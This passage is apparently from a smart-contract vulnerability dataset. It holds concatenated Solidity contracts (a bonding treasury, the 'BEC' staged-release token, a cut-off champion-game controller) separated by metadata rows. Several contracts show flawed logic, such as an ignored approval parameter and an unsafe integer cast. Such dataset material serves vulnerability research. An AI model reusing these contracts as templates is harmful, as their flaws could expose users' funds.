PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap(address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } contract RebateTreasury is Ownable { struct Asset { bool isAdded; uint256 multiplier; address oracle; bool isLP; address pair; } struct VestingSchedule { uint256 amount; uint256 period; uint256 end; uint256 claimed; uint256 lastClaimed; } IERC20 public Head; IOracle public HeadOracle; ITreasury public Treasury; mapping (address => Asset) public assets; mapping (address => VestingSchedule) public vesting; uint256 public bondThreshold = 20 * 1e4; uint256 public bondFactor = 80 * 1e4; uint256 public secondaryThreshold = 70 * 1e4; uint256 public secondaryFactor = 15 * 1e4; uint256 public bondVesting = 3 days; uint256 public totalVested = 0; uint256 public lastBuyback; uint256 public buybackAmount = 10 * 1e4; address public constant WAVAX = 0xB31f66AA3C1e785363F0875A1B74E27b85FD66c7; uint256 public constant DENOMINATOR = 1e6; // Only allow a function to be called with a bondable asset modifier onlyAsset(address token) { require(assets[token].isAdded, "RebateTreasury: token is not a bondable asset"); _; } // Initialize parameters constructor(address head, address headOracle, address treasury) { Head = IERC20(head); HeadOracle = IOracle(headOracle); Treasury = ITreasury(treasury); } // Bond asset for discounted Head at bond rate function bond(address token, uint256 amount) external onlyAsset(token) { require(amount > 0, "RebateTreasury: invalid bond amount"); uint256 headAmount = getHeadReturn(token, amount); require(headAmount <= Head.balanceOf(address(this)) - totalVested, "RebateTreasury: insufficient head balance"); IERC20(token).transferFrom(msg.sender, address(this), amount); _claimVested(msg.sender); VestingSchedule storage schedule = vesting[msg.sender]; schedule.amount = schedule.amount - schedule.claimed + headAmount; schedule.period = bondVesting; schedule.end = block.timestamp + bondVesting; schedule.claimed = 0; schedule.lastClaimed = block.timestamp; totalVested += headAmount; } // Claim available Head rewards from bonding function claimRewards() external { _claimVested(msg.sender); } // Set Head token function setHead(address head) external onlyOwner { Head = IERC20(head); } // Set Head oracle function setHeadOracle(address oracle) external onlyOwner { HeadOracle = IOracle(oracle); } // Set Head treasury function setTreasury(address treasury) external onlyOwner { Treasury = ITreasury(treasury); } // Set bonding parameters of token function setAsset(address token, bool isAdded, uint256 multiplier, address oracle, bool isLP, address pair) external onlyOwner { assets[token].isAdded = isAdded; assets[token].multiplier = multiplier; assets[token].oracle = oracle; assets[token].isLP = isLP; assets[token].pair = pair; } // Set bond pricing parameters function setBondParameters(uint256 primaryThreshold, uint256 primaryFactor, uint256 secondThreshold, uint256 secondFactor, uint256 vestingPeriod) external onlyOwner { bondThreshold = primaryThreshold; bondFactor = primaryFactor; secondaryThreshold = secondThreshold; secondaryFactor = secondFactor; bondVesting = vestingPeriod; } // Redeem assets for buyback under peg function redeemAssetsForBuyback(address[] calldata tokens) external onlyOwner { require(getHeadPrice() < 1e18, "RebateTreasury: unable to buy back"); uint256 epoch = Treasury.epoch(); require(lastBuyback != epoch, "RebateTreasury: already bought back"); lastBuyback = epoch; for (uint256 t = 0; t < tokens.length; t ++) { require(assets[tokens[t]].isAdded, "RebateTreasury: invalid token"); IERC20 Token = IERC20(tokens[t]); Token.transfer(owner(), Token.balanceOf(address(this)) * buybackAmount / DENOMINATOR); } } function _claimVested(address account) internal { VestingSchedule storage schedule = vesting[account]; if (schedule.amount == 0 || schedule.amount == schedule.claimed) return; if (block.timestamp <= schedule.lastClaimed || schedule.lastClaimed >= schedule.end) return; uint256 duration = (block.timestamp > schedule.end ? schedule.end : block.timestamp) - schedule.lastClaimed; uint256 claimable = schedule.amount * duration / schedule.period; if (claimable == 0) return; schedule.claimed += claimable; schedule.lastClaimed = block.timestamp > schedule.end ? schedule.end : block.timestamp; totalVested -= claimable; Head.transfer(account, claimable); } // Calculate Head return of bonding amount of token function getHeadReturn(address token, uint256 amount) public view onlyAsset(token) returns (uint256) { uint256 headPrice = getHeadPrice(); uint256 tokenPrice = getTokenPrice(token); uint256 bondPremium = getBondPremium(); return amount * tokenPrice * (bondPremium + DENOMINATOR) * assets[token].multiplier / (DENOMINATOR * DENOMINATOR) / headPrice; } // Calculate premium for bonds based on bonding curve function getBondPremium() public view returns (uint256) { uint256 headPrice = getHeadPrice(); if (headPrice < 1e17) return 0; // related to 0.1Avax uint256 headPremium = headPrice * DENOMINATOR / 1e17 - DENOMINATOR; // related to 0.1Avax if (headPremium < bondThreshold) return 0; if (headPremium <= secondaryThreshold) { return (headPremium - bondThreshold) * bondFactor / DENOMINATOR; } else { uint256 primaryPremium = (secondaryThreshold - bondThreshold) * bondFactor / DENOMINATOR; return primaryPremium + (headPremium - secondaryThreshold) * secondaryFactor / DENOMINATOR; } } // Get HEAD price from Oracle function getHeadPrice() public view returns (uint256) { return HeadOracle.consult(address(Head), 1e18); } // Get token price from Oracle function getTokenPrice(address token) public view onlyAsset(token) returns (uint256) { Asset memory asset = assets[token]; IOracle Oracle = IOracle(asset.oracle); if (!asset.isLP) { return Oracle.consult(token, 1e18); } IUniswapV2Pair Pair = IUniswapV2Pair(asset.pair); uint256 totalPairSupply = Pair.totalSupply(); address token0 = Pair.token0(); address token1 = Pair.token1(); (uint256 reserve0, uint256 reserve1,) = Pair.getReserves(); if (token1 == WAVAX) { uint256 tokenPrice = Oracle.consult(token0, 1e18); return tokenPrice * reserve0 / totalPairSupply + reserve1 * 1e18 / totalPairSupply; } else { uint256 tokenPrice = Oracle.consult(token1, 1e18); return tokenPrice * reserve1 / totalPairSupply + reserve0 * 1e18 / totalPairSupply; } } // Get claimable vested Head for account function claimableHead(address account) external view returns (uint256) { VestingSchedule memory schedule = vesting[account]; if (block.timestamp <= schedule.lastClaimed || schedule.lastClaimed >= schedule.end) return 0; uint256 duration = (block.timestamp > schedule.end ? schedule.end : block.timestamp) - schedule.lastClaimed; return schedule.amount * duration / schedule.period; } }
87,683
12,056
fb66cf2d99ed37f4295d5d25c45029d68c0b4434ca9ef59a1bdbd568fb08c9a5
17,018
.sol
Solidity
false
416581097
NoamaSamreen93/SmartScan-Dataset
0199a090283626c8f2a5e96786e89fc850bdeabd
evaluation-dataset/0xd9d5cb6fac819014daa6db94ddccc953714b3fa3.sol
3,830
14,248
pragma solidity ^ 0.4.11; library SafeMath { function mul(uint256 a, uint256 b) internal constant returns(uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns(uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal constant returns(uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns(uint256) { uint256 c = a + b; assert(c >= a); return c; } function toUINT112(uint256 a) internal constant returns(uint112) { assert(uint112(a) == a); return uint112(a); } function toUINT120(uint256 a) internal constant returns(uint120) { assert(uint120(a) == a); return uint120(a); } function toUINT128(uint256 a) internal constant returns(uint128) { assert(uint128(a) == a); return uint128(a); } function percent(uint256 a, uint256 b) internal constant returns(uint256) { uint256 c = (b * a / 100); assert(c <= a); return c; } } contract Owned { address public owner; function Owned() { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function setOwner(address _newOwner) onlyOwner { owner = _newOwner; } } contract ERC20Basic { function balanceOf(address who) public constant returns(uint256); function transfer(address to, uint256 value) public returns(bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns(uint256); function transferFrom(address from, address to, uint256 value) public returns(bool); function approve(address spender, uint256 value) public returns(bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; struct Account { uint256 balances; uint256 rawTokens; uint32 lastMintedTimestamp; } // Balances for each account mapping(address => Account) accounts; function transfer(address _to, uint256 _value) public returns(bool) { require(_to != address(0)); require(_value <= accounts[msg.sender].balances); // SafeMath.sub will throw if there is not enough balance. accounts[msg.sender].balances = accounts[msg.sender].balances.sub(_value); accounts[_to].balances = accounts[_to].balances.add(_value); Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public constant returns(uint256 balance) { return accounts[_owner].balances; } } contract StandardToken is ERC20, BasicToken { mapping(address => mapping(address => uint256)) internal allowed; function transferFrom(address _from, address _to, uint256 _value) public returns(bool) { require(_to != address(0)); require(_value <= accounts[_from].balances); require(_value <= allowed[_from][msg.sender]); accounts[_from].balances = accounts[_from].balances.sub(_value); accounts[_to].balances = accounts[_to].balances.add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns(bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public constant returns(uint256 remaining) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint _addedValue) public returns(bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns(bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract BEC is StandardToken, Owned { string public constant name = "BITEXCHANGE"; uint8 public constant decimals = 8; string public constant symbol = "BEC"; bool public canClaimToken = false; uint256 public constant maxSupply = 30000000 * 10 ** uint256(decimals); uint256 public constant dateInit = 1522540800; uint256 public constant dateICO = dateInit + 31 days; uint256 public constant dateRelease3 = dateICO + 90 days; uint256 public constant dateRelease6 = dateRelease3 + 90 days; uint256 public constant dateRelease9 = dateRelease6 + 90 days; uint256 public constant dateRelease12 = dateRelease9 + 90 days; uint256 public constant dateEcoRelease3 = dateRelease12 + 90 days; uint256 public constant dateEcoRelease6 = dateEcoRelease3 + 90 days; uint256 public constant dateEcoRelease9 = dateEcoRelease6 + 90 days; uint256 public constant dateEcoRelease12 = dateEcoRelease9 + 90 days; bool public isAllocatedICO = false; bool public isAllocatedLending = false; bool public isAllocated3 = false; bool public isAllocated6 = false; bool public isAllocated9 = false; bool public isAllocated12 = false; bool public isEcoAllocated3 = false; bool public isEcoAllocated6 = false; bool public isEcoAllocated9 = false; bool public isEcoAllocated12 = false; enum Stage { Finalized, ICO, Release3, Release6, Release9, Release12, Eco3, Eco6, Eco9, Eco12 } struct Supplies { uint256 total; uint256 rawTokens; } //the stage for releasing Tokens struct StageRelease { uint256 rawTokens; uint256 totalRawTokens; } Supplies supplies; StageRelease public stageICO = StageRelease(maxSupply.percent(18), maxSupply.percent(18)); StageRelease public stageLending = StageRelease(maxSupply.percent(27), maxSupply.percent(27)); StageRelease public stageDevelop = StageRelease(maxSupply.percent(35), maxSupply.percent(35)); StageRelease public stageMarketing = StageRelease(maxSupply.percent(9), maxSupply.percent(9)); StageRelease public stageAdmin = StageRelease(maxSupply.percent(2), maxSupply.percent(2)); StageRelease public stageEco = StageRelease(maxSupply.percent(9), maxSupply.percent(9)); // Send back ether function () { revert(); } //getter totalSupply function totalSupply() public constant returns(uint256 total) { return supplies.total; } function mintToken(address _owner, uint256 _amount, bool _isRaw) onlyOwner internal { require(_amount.add(supplies.total) <= maxSupply); if (_isRaw) { accounts[_owner].rawTokens = _amount.add(accounts[_owner].rawTokens); supplies.rawTokens = _amount.add(supplies.rawTokens); } else { accounts[_owner].balances = _amount.add(accounts[_owner].balances); } supplies.total = _amount.add(supplies.total); Transfer(0, _owner, _amount); } function transferRaw(address _to, uint256 _value) public returns(bool) { require(_to != address(0)); require(_value <= accounts[msg.sender].rawTokens); // SafeMath.sub will throw if there is not enough balance. accounts[msg.sender].rawTokens = accounts[msg.sender].rawTokens.sub(_value); accounts[_to].rawTokens = accounts[_to].rawTokens.add(_value); Transfer(msg.sender, _to, _value); return true; } function setClaimToken(bool approve) onlyOwner public returns(bool) { canClaimToken = true; return canClaimToken; } function claimToken(address _owner) public returns(bool amount) { require(accounts[_owner].rawTokens != 0); require(canClaimToken); uint256 amountToken = accounts[_owner].rawTokens; accounts[_owner].rawTokens = 0; accounts[_owner].balances = amountToken + accounts[_owner].balances; return true; } function balanceOfRaws(address _owner) public constant returns(uint256 balance) { return accounts[_owner].rawTokens; } function blockTime() constant returns(uint32) { return uint32(block.timestamp); } function stage() constant returns(Stage) { if (blockTime() <= dateICO) { return Stage.ICO; } if (blockTime() <= dateRelease3) { return Stage.Release3; } if (blockTime() <= dateRelease6) { return Stage.Release6; } if (blockTime() <= dateRelease9) { return Stage.Release9; } if (blockTime() <= dateRelease12) { return Stage.Release12; } if (blockTime() <= dateEcoRelease3) { return Stage.Eco3; } if (blockTime() <= dateEcoRelease6) { return Stage.Eco6; } if (blockTime() <= dateEcoRelease9) { return Stage.Eco9; } if (blockTime() <= dateEcoRelease12) { return Stage.Eco12; } return Stage.Finalized; } function releaseStage(uint256 amount, StageRelease storage stageRelease, bool isRaw) internal returns(uint256) { if (stageRelease.rawTokens > 0) { int256 remain = int256(stageRelease.rawTokens - amount); if (remain < 0) amount = stageRelease.rawTokens; stageRelease.rawTokens = stageRelease.rawTokens.sub(amount); mintToken(owner, amount, isRaw); return amount; } return 0; } function releaseNotEco(uint256 percent, bool isRaw) internal returns(uint256) { uint256 amountDevelop = stageDevelop.totalRawTokens.percent(percent); uint256 amountMarketing = stageMarketing.totalRawTokens.percent(percent); uint256 amountAdmin = stageAdmin.totalRawTokens.percent(percent); uint256 amountSum = amountDevelop + amountMarketing + amountAdmin; releaseStage(amountDevelop, stageDevelop, isRaw); releaseStage(amountMarketing, stageMarketing, isRaw); releaseStage(amountAdmin, stageAdmin, isRaw); return amountSum; } function releaseEco(uint256 percent, bool isRaw) internal returns(uint256) { uint256 amountEco = stageEco.totalRawTokens.percent(percent); releaseStage(amountEco, stageEco, isRaw); return amountEco; } function release100Percent(bool isRaw, StageRelease storage stageRelease) internal returns(uint256) { uint256 amount = stageRelease.totalRawTokens.percent(100); releaseStage(amount, stageRelease, isRaw); return amount; } //main function, must run for releasing. //##################################################################33 function release(bool isRaw) onlyOwner public returns(uint256) { uint256 amountSum = 0; if (stage() == Stage.ICO && isAllocatedICO == false) { uint256 amountICO = release100Percent(isRaw, stageICO); amountSum = amountSum.add(amountICO); isAllocatedICO = true; return amountSum; } if (stage() == Stage.Release3 && isAllocated3 == false) { uint256 amountRelease3 = releaseNotEco(40, isRaw); amountSum = amountSum.add(amountRelease3); //for lending amountRelease3 = release100Percent(isRaw, stageLending); amountSum = amountSum.add(amountRelease3); isAllocated3 = true; return amountSum; } if (stage() == Stage.Release6 && isAllocated6 == false) { uint256 amountRelease6 = releaseNotEco(10, isRaw); amountSum = amountSum.add(amountRelease6); isAllocated6 = true; return amountSum; } if (stage() == Stage.Release9 && isAllocated9 == false) { uint256 amountRelease9 = releaseNotEco(30, isRaw); amountSum = amountSum.add(amountRelease9); isAllocated9 = true; return amountSum; } if (stage() == Stage.Release12 && isAllocated12 == false) { uint256 amountRelease12 = releaseNotEco(20, isRaw); amountSum = amountSum.add(amountRelease12); isAllocated12 = true; return amountSum; } if (stage() == Stage.Eco3 && isEcoAllocated3 == false) { uint256 amountEcoRelease3 = releaseEco(40, isRaw); amountSum = amountSum.add(amountEcoRelease3); isEcoAllocated3 = true; return amountSum; } if (stage() == Stage.Eco6 && isEcoAllocated6 == false) { uint256 amountEcoRelease6 = releaseEco(10, isRaw); amountSum = amountSum.add(amountEcoRelease6); isEcoAllocated6 = true; return amountSum; } if (stage() == Stage.Eco9 && isEcoAllocated9 == false) { uint256 amountEcoRelease9 = releaseEco(20, isRaw); amountSum = amountSum.add(amountEcoRelease9); isEcoAllocated9 = true; return amountSum; } if (stage() == Stage.Eco12 && isEcoAllocated12 == false) { uint256 amountEcoRelease12 = releaseEco(30, isRaw); amountSum = amountSum.add(amountEcoRelease12); isEcoAllocated12 = true; return amountSum; } return amountSum; } }
189,940
12,057
a62e05a00eed19300442ad96308fd3cdd5d71bd2eed6ab0755146d8482e38b8e
21,377
.sol
Solidity
false
593908510
SKKU-SecLab/SmartMark
fdf0675d2f959715d6f822351544c6bc91a5bdd4
dataset/Solidity_codes_9324/0x078c0be420a656dca1c518585d1e4dc7722971a5.sol
5,505
20,721
pragma solidity 0.4.24; library SafeMath { function sub(uint a, uint b) internal pure returns (uint) { assert(b <= a); return a - b; } function add(uint a, uint b) internal pure returns (uint) { uint c = a + b; assert(c >= a); return c; } } contract Ownable { address internal contractOwner; constructor () internal { if(contractOwner == address(0)){ contractOwner = msg.sender; } } modifier onlyOwner() { require(msg.sender == contractOwner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); contractOwner = newOwner; } } contract MyCryptoChampCore{ struct Champ { uint id; uint attackPower; uint defencePower; uint cooldownTime; uint readyTime; uint winCount; uint lossCount; uint position; uint price; uint withdrawCooldown; uint eq_sword; uint eq_shield; uint eq_helmet; bool forSale; } struct AddressInfo { uint withdrawal; uint champsCount; uint itemsCount; string name; } struct Item { uint id; uint8 itemType; uint8 itemRarity; uint attackPower; uint defencePower; uint cooldownReduction; uint price; uint onChampId; bool onChamp; bool forSale; } Champ[] public champs; Item[] public items; mapping (uint => uint) public leaderboard; mapping (address => AddressInfo) public addressInfo; mapping (bool => mapping(address => mapping (address => bool))) public tokenOperatorApprovals; mapping (bool => mapping(uint => address)) public tokenApprovals; mapping (bool => mapping(uint => address)) public tokenToOwner; mapping (uint => string) public champToName; mapping (bool => uint) public tokensForSaleCount; uint public pendingWithdrawal = 0; function addWithdrawal(address _address, uint _amount) public; function clearTokenApproval(address _from, uint _tokenId, bool _isTokenChamp) public; function setChampsName(uint _champId, string _name) public; function setLeaderboard(uint _x, uint _value) public; function setTokenApproval(uint _id, address _to, bool _isTokenChamp) public; function setTokenOperatorApprovals(address _from, address _to, bool _approved, bool _isTokenChamp) public; function setTokenToOwner(uint _id, address _owner, bool _isTokenChamp) public; function setTokensForSaleCount(uint _value, bool _isTokenChamp) public; function transferToken(address _from, address _to, uint _id, bool _isTokenChamp) public; function newChamp(uint _attackPower,uint _defencePower,uint _cooldownTime,uint _winCount,uint _lossCount,uint _position,uint _price,uint _eq_sword, uint _eq_shield, uint _eq_helmet, bool _forSale,address _owner) public returns (uint); function newItem(uint8 _itemType,uint8 _itemRarity,uint _attackPower,uint _defencePower,uint _cooldownReduction,uint _price,uint _onChampId,bool _onChamp,bool _forSale,address _owner) public returns (uint); function updateAddressInfo(address _address, uint _withdrawal, bool _updatePendingWithdrawal, uint _champsCount, bool _updateChampsCount, uint _itemsCount, bool _updateItemsCount, string _name, bool _updateName) public; function updateChamp(uint _champId, uint _attackPower,uint _defencePower,uint _cooldownTime,uint _readyTime,uint _winCount,uint _lossCount,uint _position,uint _price,uint _withdrawCooldown,uint _eq_sword, uint _eq_shield, uint _eq_helmet, bool _forSale) public; function updateItem(uint _id,uint8 _itemType,uint8 _itemRarity,uint _attackPower,uint _defencePower,uint _cooldownReduction,uint _price,uint _onChampId,bool _onChamp,bool _forSale) public; function getChampStats(uint256 _champId) public view returns(uint256,uint256,uint256); function getChampsByOwner(address _owner) external view returns(uint256[]); function getTokensForSale(bool _isTokenChamp) view external returns(uint256[]); function getItemsByOwner(address _owner) external view returns(uint256[]); function getTokenCount(bool _isTokenChamp) external view returns(uint); function getTokenURIs(uint _tokenId, bool _isTokenChamp) public view returns(string); function onlyApprovedOrOwnerOfToken(uint _id, address _msgsender, bool _isTokenChamp) external view returns(bool); } contract Inherit is Ownable{ address internal coreAddress; MyCryptoChampCore internal core; modifier onlyCore(){ require(msg.sender == coreAddress); _; } function loadCoreAddress(address newCoreAddress) public onlyOwner { require(newCoreAddress != address(0)); coreAddress = newCoreAddress; core = MyCryptoChampCore(coreAddress); } } contract Strings { function strConcat(string _a, string _b) internal pure returns (string){ bytes memory _ba = bytes(_a); bytes memory _bb = bytes(_b); string memory ab = new string(_ba.length + _bb.length); bytes memory bab = bytes(ab); uint k = 0; for (uint i = 0; i < _ba.length; i++) bab[k++] = _ba[i]; for (i = 0; i < _bb.length; i++) bab[k++] = _bb[i]; return string(bab); } function uint2str(uint i) internal pure returns (string){ if (i == 0) return "0"; uint j = i; uint len; while (j != 0){ len++; j /= 10; } bytes memory bstr = new bytes(len); uint k = len - 1; while (i != 0){ bstr[k--] = byte(48 + i % 10); i /= 10; } return string(bstr); } } interface EC { function emitTransfer(address _from, address _to, uint _tokenId) external; //Controller uses only this one function } contract Controller is Inherit, Strings { using SafeMath for uint; struct Champ { uint id; //same as position in Champ[] uint attackPower; uint defencePower; uint cooldownTime; //how long does it take to be ready attack again uint readyTime; //if is smaller than block.timestamp champ is ready to fight uint winCount; uint lossCount; uint position; //position in leaderboard. subtract 1 and you got position in leaderboard[] uint price; //selling price uint withdrawCooldown; uint eq_sword; uint eq_shield; uint eq_helmet; bool forSale; //is champ for sale? } struct Item { uint id; uint8 itemType; // 1 - Sword | 2 - Shield | 3 - Helmet uint8 itemRarity; // 1 - Common | 2 - Uncommon | 3 - Rare | 4 - Epic | 5 - Legendery | 6 - Forged uint attackPower; uint defencePower; uint cooldownReduction; uint price; uint onChampId; bool onChamp; bool forSale; //is item for sale? } EC champsEC; EC itemsEC; modifier contractMinBalanceReached(){ uint pendingWithdrawal = core.pendingWithdrawal(); require((address(core).balance).sub(pendingWithdrawal) > 1000000); _; } modifier onlyApprovedOrOwnerOfToken(uint _id, address _msgsender, bool _isTokenChamp) { require(core.onlyApprovedOrOwnerOfToken(_id, _msgsender, _isTokenChamp)); _; } function getChampReward(uint _position) public view returns(uint) { if(_position <= 800){ uint rewardPercentage = uint(2000).sub(2 * (_position - 1)); uint availableWithdrawal = address(coreAddress).balance.sub(core.pendingWithdrawal()); return availableWithdrawal / 1000000 * rewardPercentage; }else{ return uint(0); } } function setChampEC(address _address) public onlyOwner { champsEC = EC(_address); } function setItemsEC(address _address) public onlyOwner { itemsEC = EC(_address); } function changeChampsName(uint _champId, string _name, address _msgsender) external onlyApprovedOrOwnerOfToken(_champId, _msgsender, true) onlyCore { core.setChampsName(_champId, _name); } function withdrawChamp(uint _id, address _msgsender) external onlyApprovedOrOwnerOfToken(_id, _msgsender, true) contractMinBalanceReached onlyCore { Champ memory champ = _getChamp(_id); require(champ.position <= 800); require(champ.withdrawCooldown < block.timestamp); //isChampWithdrawReady champ.withdrawCooldown = block.timestamp + 1 days; //one withdrawal 1 per day _updateChamp(champ); //update core storage core.addWithdrawal(_msgsender, getChampReward(champ.position)); } function _attackCompleted(Champ memory _winnerChamp, Champ memory _defeatedChamp, uint _pointsGiven) private { _winnerChamp.attackPower += _pointsGiven; //increase attack power _winnerChamp.defencePower += _pointsGiven; //max point that was given - already given to AP _defeatedChamp.attackPower = (_defeatedChamp.attackPower <= _pointsGiven + 2) ? 2 : _defeatedChamp.attackPower - _pointsGiven; //Subtracts ability points. Helps to not cross minimal attack ability points -> 2 _defeatedChamp.defencePower = (_defeatedChamp.defencePower <= _pointsGiven) ? 1 : _defeatedChamp.defencePower - _pointsGiven; //Subtracts ability points. Helps to not cross minimal defence ability points -> 1 _winnerChamp.winCount++; _defeatedChamp.lossCount++; if(_winnerChamp.position > _defeatedChamp.position) { //require loser to has better (lower) postion than attacker uint winnerPosition = _winnerChamp.position; uint loserPosition = _defeatedChamp.position; _defeatedChamp.position = winnerPosition; _winnerChamp.position = loserPosition; } _updateChamp(_winnerChamp); _updateChamp(_defeatedChamp); } function attack(uint _champId, uint _targetId, address _msgsender) external onlyApprovedOrOwnerOfToken(_champId, _msgsender, true) onlyCore { Champ memory myChamp = _getChamp(_champId); Champ memory enemyChamp = _getChamp(_targetId); require (myChamp.readyTime <= block.timestamp); /// Is champ ready to fight again? require(_champId != _targetId); /// Prevents from self-attack require(core.tokenToOwner(true, _targetId) != address(0)); /// Checks if champ does exist uint pointsGiven; //total points that will be divided between AP and DP uint myChampAttackPower; uint enemyChampDefencePower; uint myChampCooldownReduction; (myChampAttackPower,,myChampCooldownReduction) = core.getChampStats(_champId); (,enemyChampDefencePower,) = core.getChampStats(_targetId); if (myChampAttackPower > enemyChampDefencePower) { if(myChampAttackPower - enemyChampDefencePower < 5){ pointsGiven = 6; //big experience - 6 ability points }else if(myChampAttackPower - enemyChampDefencePower < 10){ pointsGiven = 4; //medium experience - 4 ability points }else{ pointsGiven = 2; //small experience - 2 ability point to random ability (attack power or defence power) } _attackCompleted(myChamp, enemyChamp, pointsGiven/2); } else { pointsGiven = 2; _attackCompleted(enemyChamp, myChamp, pointsGiven/2); } myChamp.readyTime = uint(block.timestamp + myChamp.cooldownTime - myChampCooldownReduction); _updateChamp(myChamp); } function _cancelChampSale(Champ memory _champ) private { _champ.forSale = false; _updateChamp(_champ); } function _transferChamp(address _from, address _to, uint _champId) private onlyCore { Champ memory champ = _getChamp(_champId); if(champ.forSale){ _cancelChampSale(champ); } core.clearTokenApproval(_from, _champId, true); (,uint toChampsCount,,) = core.addressInfo(_to); (,uint fromChampsCount,,) = core.addressInfo(_from); core.updateAddressInfo(_to,0,false,toChampsCount + 1,true,0,false,"",false); core.updateAddressInfo(_from,0,false,fromChampsCount - 1,true,0,false,"",false); core.setTokenToOwner(_champId, _to, true); champsEC.emitTransfer(_from,_to,_champId); if(champ.eq_sword != 0) { _transferItem(_from, _to, champ.eq_sword); } if(champ.eq_shield != 0) { _transferItem(_from, _to, champ.eq_shield); } if(champ.eq_helmet != 0) { _transferItem(_from, _to, champ.eq_helmet); } } function transferToken(address _from, address _to, uint _id, bool _isTokenChamp) external onlyCore{ if(_isTokenChamp){ _transferChamp(_from, _to, _id); }else{ _transferItem(_from, _to, _id); } } function cancelTokenSale(uint _id, address _msgsender, bool _isTokenChamp) public onlyApprovedOrOwnerOfToken(_id, _msgsender, _isTokenChamp) onlyCore { if(_isTokenChamp){ Champ memory champ = _getChamp(_id); require(champ.forSale); //champIsForSale _cancelChampSale(champ); }else{ Item memory item = _getItem(_id); require(item.forSale); _cancelItemSale(item); } } function giveToken(address _to, uint _id, address _msgsender, bool _isTokenChamp) external onlyApprovedOrOwnerOfToken(_id, _msgsender, _isTokenChamp) onlyCore { if(_isTokenChamp){ _transferChamp(core.tokenToOwner(true,_id), _to, _id); }else{ _transferItem(core.tokenToOwner(false,_id), _to, _id); } } function setTokenForSale(uint _id, uint _price, address _msgsender, bool _isTokenChamp) external onlyApprovedOrOwnerOfToken(_id, _msgsender, _isTokenChamp) onlyCore { if(_isTokenChamp){ Champ memory champ = _getChamp(_id); require(champ.forSale == false); //champIsNotForSale champ.forSale = true; champ.price = _price; _updateChamp(champ); }else{ Item memory item = _getItem(_id); require(item.forSale == false); item.forSale = true; item.price = _price; _updateItem(item); } } function _updateChamp(Champ memory champ) private { core.updateChamp(champ.id, champ.attackPower, champ.defencePower, champ.cooldownTime, champ.readyTime, champ.winCount, champ.lossCount, champ.position, champ.price, champ.withdrawCooldown, champ.eq_sword, champ.eq_shield, champ.eq_helmet, champ.forSale); } function _updateItem(Item memory item) private { core.updateItem(item.id, item.itemType, item.itemRarity, item.attackPower, item.defencePower, item.cooldownReduction,item.price, item.onChampId, item.onChamp, item.forSale); } function _getChamp(uint _champId) private view returns (Champ) { Champ memory champ; (champ.id, champ.attackPower, champ.defencePower, champ.cooldownTime, champ.readyTime, champ.winCount, champ.lossCount, champ.position,,,,,,) = core.champs(_champId); (,,,,,,,,champ.price, champ.withdrawCooldown, champ.eq_sword, champ.eq_shield, champ.eq_helmet, champ.forSale) = core.champs(_champId); return champ; } function _getItem(uint _itemId) private view returns (Item) { Item memory item; (item.id, item.itemType, item.itemRarity, item.attackPower, item.defencePower, item.cooldownReduction,,,,) = core.items(_itemId); (,,,,,,item.price, item.onChampId, item.onChamp, item.forSale) = core.items(_itemId); return item; } function getTokenURIs(uint _id, bool _isTokenChamp) public pure returns(string) { if(_isTokenChamp){ return strConcat('https://mccapi.patrikmojzis.com/champ.php?id=', uint2str(_id)); }else{ return strConcat('https://mccapi.patrikmojzis.com/item.php?id=', uint2str(_id)); } } function _takeOffItem(uint _champId, uint8 _type) private { uint itemId; Champ memory champ = _getChamp(_champId); if(_type == 1){ itemId = champ.eq_sword; //Get item ID if (itemId > 0) { //0 = nothing champ.eq_sword = 0; //take off sword } } if(_type == 2){ itemId = champ.eq_shield; //Get item ID if(itemId > 0) {//0 = nothing champ.eq_shield = 0; //take off shield } } if(_type == 3){ itemId = champ.eq_helmet; //Get item ID if(itemId > 0) { //0 = nothing champ.eq_helmet = 0; //take off } } if(itemId > 0){ Item memory item = _getItem(itemId); item.onChamp = false; _updateItem(item); } } function takeOffItem(uint _champId, uint8 _type, address _msgsender) public onlyApprovedOrOwnerOfToken(_champId, _msgsender, true) onlyCore { _takeOffItem(_champId, _type); } function putOn(uint _champId, uint _itemId, address _msgsender) external onlyApprovedOrOwnerOfToken(_champId, _msgsender, true) onlyApprovedOrOwnerOfToken(_itemId, _msgsender, false) onlyCore { Champ memory champ = 